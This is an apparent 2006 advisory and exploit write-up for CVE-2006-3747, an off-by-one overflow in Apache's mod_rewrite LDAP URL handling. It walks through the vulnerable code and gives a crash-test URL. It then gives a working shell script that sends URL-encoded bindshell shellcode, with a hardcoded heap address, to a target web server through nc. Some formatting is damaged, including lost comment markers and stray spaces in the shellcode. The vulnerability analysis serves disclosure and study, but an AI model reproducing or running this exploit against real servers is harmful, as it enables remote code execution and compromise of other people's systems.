Public release date of POC/Exploit: 2006-08-20
Author: Jacobo Avariento Gimeno
CVE id: CVE-2006-3747
Bugtraq id: 19204
CERT advisory: VU#395412
Severity: high

Introduction

On July 28 2006 Mark Dowd (McAfee Avert Labs) reported a vulnerability
found in mod_rewrite apache module to the bugtraq mailing list.
The vulnerable function is escape_absolute_uri() and the problem only
could be arised when mod_rewrite is dealing with an LDAP URL, a
malformed LDAP URL could trigger an off-by-one overflow in certain
(special) situations and a possible attacker could cause a
denial-of-service or execute arbitrary code with the privileges of
the apache user.
To exploit this vulnerability isn't necessary an LDAP-specific rule,
but must have a rule which the user can control the inital part of the
remapped URL, i.e.:

RewriteRule foo/(.*) $1

Any version of the Apache HTTP server:

• 1.3 branch: >1.3.28 and <1.3.37
• 2.0 branch: >2.0.46 and <2.0.59
• 2.2 branch: >2.2.0 and <2.2.3
  is vulnerable.

Analysis of the vulnerable code

2696 /* escape absolute uri, which may or may not be path oriented.
2697 * So let's handle them differently.
2698 */
2699 static char *escape_absolute_uri(ap_pool *p, char *uri,
unsigned scheme)
2700 {
2701 char cp;
2702 …
…
2727 / special thing for ldap.
2728 * The parts are separated by question marks. From RFC 2255:
2729 * ldapurl = scheme "://" [hostport] ["/"
2730 * [dn ["?" [attributes] ["?" [scope]
2731 * ["?" [filter] ["?" extensions]]]]]]
2732 */
2733 if (!strncasecmp(uri, "ldap", 4)) {
2734 char *token[5];
2735 int c = 0;
2736
2737 token[0] = cp = ap_pstrdup(p, cp);
2738 while (*cp && c < 5) {
2739 if (*cp == '?') {
2740 token[++c] = cp + 1;
2741 *cp = '\0';
2742 }
2743 ++cp;
2744 }

In the case that an LDAP URI contains a fifth '?' the line 2740 causes
an off-by-one overflow, it's writing in token[5].
To exploit this problem is necessary a vulnerable apache version and a
specific stack frame layout.

Proof of concept

To know if your apache vulnerable version could be successful
exploited, write this rule in your httpd.conf or .htaccess file:

RewriteRule kung/(.*) $1

And try to access to the following URL:
/kung/ldap://localhost/AAAAAAAAAAAAAAAAAAAAA%3FAAAAAAAAAAAAA%
3FAAAAAAAAAAAAAAA%3FAAAAAAAAAA%3FAAAAAAAAAA%3FBBBBBBBBBBBBBB

If your web server doesn't reply you with a '302 Found' page or a
Segmentation Fault appears in your error_log, an apache child has
crashed and your web server is vulnerable and exploitable.

Exploit

This exploit was successful executed on Apache 1.3.34, debian
sarge package:

#!/bin/sh

Exploit for Apache mod_rewrite off-by-one.

Vulnerability discovered by Mark Dowd.

CVE-2006-3747

by jack <jack\x40gulcas\x2Eorg>

2006-08-20

Thx to xuso for help me with the shellcode.

I suppose that you've the "RewriteRule kung/(.*) $1" rule if not

you must recalculate adressess.

Shellcode is based on Taeho Oh bindshell on port 30464 and modified

for avoiding apache url-escape… Take a look is quite nice ;)

Shellcode address in heap memory on apache 1.3.34 (debian sarge) is at

0x0834ae77 for any other version/system find it.

Gulcas rulez :P

echo -e "mod_rewrite apache off-by-one overflow\nby jack <jack\x40gulcas
\x2eorg>\n\n"

if [ $# -ne 1 ] ; then
echo "Usage: $0 webserver"
exit
fi

host=$1

echo -ne "GET /kung/ldap://localhost/`perl -e 'print "%90"x128'`%89%e6%
31%c0%31 %db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3%
01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04%
31%c0%89%46%10%b0%10%89%46%08% b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66%
b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31%
c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8%
23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76%
08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db%
cd %80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC%
77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1\r\nHost:
$host\r\n\r\n" | nc $host 80

More info is coming at http://ciberjacobo.com/sec/mod_rewrite.html

–
Jacobo Avariento Gimeno
http://ciberjacobo.com
OpenPGP key: http://ciberjacobo.com/key.pem